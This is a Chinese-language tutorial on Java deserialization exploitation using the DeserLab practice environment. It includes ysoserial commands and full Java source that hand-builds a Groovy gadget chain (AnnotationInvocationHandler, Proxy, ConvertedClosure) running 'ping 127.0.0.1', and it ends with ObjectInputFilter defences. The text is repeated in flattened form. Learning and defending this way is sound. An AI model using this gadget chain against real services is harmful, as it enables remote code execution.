Java反序列化漏洞利用的学习与实践
字数 1733 2025-08-29 08:31:53

Java反序列化漏洞利用学习与实践

一、Java反序列化漏洞概述

Java反序列化漏洞是指当应用程序反序列化不受信任的数据时,攻击者可以通过构造恶意序列化对象来执行任意代码。这类漏洞通常出现在使用Java原生序列化协议或第三方序列化框架(如XML、JSON等)的场景中。

关键特点:

  • 漏洞根源在于反序列化过程中自动调用对象的readObject()方法
  • 攻击者可以构造恶意对象链(gadget chains)来触发远程代码执行
  • 影响广泛,常见于WebLogic、WebSphere、JBoss等中间件

二、实验环境搭建

1. 实验工具准备

  • DeserLab:模拟Java反序列化漏洞的实验环境
    • GitHub地址:https://github.com/NickstaDB/DeserLab
  • SerializationDumper:Java序列化数据解析工具
  • jdeserialize:另一个Java序列化数据分析工具
  • ysoserial:生成利用Java反序列化漏洞的payload工具

2. 环境启动

启动DeserLab服务器和客户端:

java -jar DeserLab.jar -server 127.0.0.1 6666
java -jar DeserLab.jar -client 127.0.0.1 6666

3. 流量捕获

使用tcpdump捕获通信流量:

tcpdump -i lo -n -w deserlab.pcap 'port 6666'

三、序列化数据分析

1. 提取序列化数据

从pcap文件中提取序列化数据:

tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=, | grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr '\n' ':' | sed s/://g

2. 使用SerializationDumper分析

java -jar SerializationDumper-v1.0.jar aced00057704f000baaa77020101

输出示例:

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_BLOCKDATA - 0x77
    Length - 4 - 0x04
    Contents - 0xf000baaa
  TC_BLOCKDATA - 0x77
    Length - 2 - 0x02
    Contents - 0x0101
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 20 - 0x00 14
        Value - nb.deser.HashRequest - 0x6e622e64657365722e4861736852657175657374

3. 使用jdeserialize分析

java -cp jdeserialize.jar org.unsynchronized.jdeserialize rawser.bin

四、漏洞利用实践

1. 使用ysoserial生成payload

java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin

2. 漏洞利用流程

  1. 建立TCP连接
  2. 完成Java序列化握手
  3. 发送协议特定的握手信息
  4. 发送协议版本信息
  5. 发送客户端名称
  6. 发送恶意payload

3. 验证漏洞利用

使用tcpdump验证ICMP请求:

sudo tcpdump -i lo icmp

五、手动构造payload

1. 关键类分析

  • sun.reflect.annotation.AnnotationInvocationHandler
    • 反序列化时自动调用readObject()方法
    • 构造函数接受一个java.util.Map对象
  • java.lang.reflect.Proxy
    • 创建动态代理对象
    • 将所有方法调用路由到单一处理程序
  • org.codehaus.groovy.runtime.ConvertedClosure
    • 实现InvocationHandler接口
    • 用于将方法调用转换为Groovy闭包执行
  • org.codehaus.groovy.runtime.MethodClosure
    • 封装方法调用

2. payload构造代码

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Proxy;
import java.util.Map;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

public class ManualPayloadGenerate {
    public static void main(String[] args) throws Exception {
        // 获取AnnotationInvocationHandler的构造函数
        String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
        final Constructor<?> constructor = Class.forName(classToSerialize)
            .getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        
        // 创建MethodClosure和ConvertedClosure
        ConvertedClosure closure = new ConvertedClosure(
            new MethodClosure("ping 127.0.0.1", "execute"), "entrySet");
        
        // 创建动态代理Map对象
        Map map = (Map) Proxy.newProxyInstance(
            ManualPayloadGenerate.class.getClassLoader(), 
            new Class[] {Map.class}, closure);
        
        // 创建AnnotationInvocationHandler实例
        Object instance = constructor.newInstance(Override.class, map);
        
        // 序列化对象并写入文件
        java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(
            new java.io.FileOutputStream("payload_manual.bin"));
        oos.writeObject(instance);
        oos.close();
    }
}

3. 编译与运行

javac -cp DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate.java
java -cp .:DeserLab/DeserLab-v1.0/lib/groovy-all-2.3.9.jar ManualPayloadGenerate > payload_manual.bin

六、漏洞原理深入分析

1. 反序列化执行流程

  1. 反序列化过程开始读取流数据
  2. 遇到AnnotationInvocationHandler对象时,调用其readObject方法
  3. readObject方法调用Map对象的entrySet方法
  4. 由于Map是动态代理对象,调用被路由到ConvertedClosure的invoke方法
  5. ConvertedClosure将调用转发给MethodClosure
  6. MethodClosure执行指定的命令(如"ping 127.0.0.1")

2. 关键点说明

  • 自动调用机制:Java反序列化时会自动调用对象的readObject()方法
  • 代理对象:将方法调用路由到指定处理程序
  • Groovy闭包:提供了从Java方法调用到命令执行的桥梁
  • gadget chain:多个类的方法调用链最终导致代码执行

七、防御措施

1. 基本防御方法

  1. 输入验证:不要反序列化不受信任的数据
  2. 白名单机制:使用ObjectInputFilter限制可反序列化的类
  3. 替换序列化机制:使用JSON等更安全的序列化格式

2. 具体实现

// 使用ObjectInputFilter的示例
ObjectInputFilter filter = info -> {
    if (!info.serialClass().getName().equals("safe.class.Name")) {
        return ObjectInputFilter.Status.REJECTED;
    }
    return ObjectInputFilter.Status.ALLOWED;
};

ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);

3. 其他建议

  • 及时更新依赖库,修复已知漏洞
  • 使用安全工具扫描应用程序中的漏洞
  • 对反序列化操作进行严格的日志记录和监控

八、扩展学习资源

  1. Java反序列化漏洞详解 - Nick Bloor
  2. Java反序列化漏洞利用实战 - FoxGlove Security
  3. Java反序列化幻灯片 - Code White
  4. ysoserial工具源码分析
  5. Java安全编码指南 - Oracle
Java反序列化漏洞利用学习与实践 一、Java反序列化漏洞概述 Java反序列化漏洞是指当应用程序反序列化不受信任的数据时,攻击者可以通过构造恶意序列化对象来执行任意代码。这类漏洞通常出现在使用Java原生序列化协议或第三方序列化框架(如XML、JSON等)的场景中。 关键特点: 漏洞根源在于反序列化过程中自动调用对象的readObject()方法 攻击者可以构造恶意对象链(gadget chains)来触发远程代码执行 影响广泛,常见于WebLogic、WebSphere、JBoss等中间件 二、实验环境搭建 1. 实验工具准备 DeserLab :模拟Java反序列化漏洞的实验环境 GitHub地址:https://github.com/NickstaDB/DeserLab SerializationDumper :Java序列化数据解析工具 jdeserialize :另一个Java序列化数据分析工具 ysoserial :生成利用Java反序列化漏洞的payload工具 2. 环境启动 启动DeserLab服务器和客户端: 3. 流量捕获 使用tcpdump捕获通信流量: 三、序列化数据分析 1. 提取序列化数据 从pcap文件中提取序列化数据: 2. 使用SerializationDumper分析 输出示例: 3. 使用jdeserialize分析 四、漏洞利用实践 1. 使用ysoserial生成payload 2. 漏洞利用流程 建立TCP连接 完成Java序列化握手 发送协议特定的握手信息 发送协议版本信息 发送客户端名称 发送恶意payload 3. 验证漏洞利用 使用tcpdump验证ICMP请求: 五、手动构造payload 1. 关键类分析 sun.reflect.annotation.AnnotationInvocationHandler : 反序列化时自动调用readObject()方法 构造函数接受一个java.util.Map对象 java.lang.reflect.Proxy : 创建动态代理对象 将所有方法调用路由到单一处理程序 org.codehaus.groovy.runtime.ConvertedClosure : 实现InvocationHandler接口 用于将方法调用转换为Groovy闭包执行 org.codehaus.groovy.runtime.MethodClosure : 封装方法调用 2. payload构造代码 3. 编译与运行 六、漏洞原理深入分析 1. 反序列化执行流程 反序列化过程开始读取流数据 遇到AnnotationInvocationHandler对象时,调用其readObject方法 readObject方法调用Map对象的entrySet方法 由于Map是动态代理对象,调用被路由到ConvertedClosure的invoke方法 ConvertedClosure将调用转发给MethodClosure MethodClosure执行指定的命令(如"ping 127.0.0.1") 2. 关键点说明 自动调用机制 :Java反序列化时会自动调用对象的readObject()方法 代理对象 :将方法调用路由到指定处理程序 Groovy闭包 :提供了从Java方法调用到命令执行的桥梁 gadget chain :多个类的方法调用链最终导致代码执行 七、防御措施 1. 基本防御方法 输入验证 :不要反序列化不受信任的数据 白名单机制 :使用ObjectInputFilter限制可反序列化的类 替换序列化机制 :使用JSON等更安全的序列化格式 2. 具体实现 3. 其他建议 及时更新依赖库,修复已知漏洞 使用安全工具扫描应用程序中的漏洞 对反序列化操作进行严格的日志记录和监控 八、扩展学习资源 Java反序列化漏洞详解 - Nick Bloor Java反序列化漏洞利用实战 - FoxGlove Security Java反序列化幻灯片 - Code White ysoserial工具源码分析 Java安全编码指南 - Oracle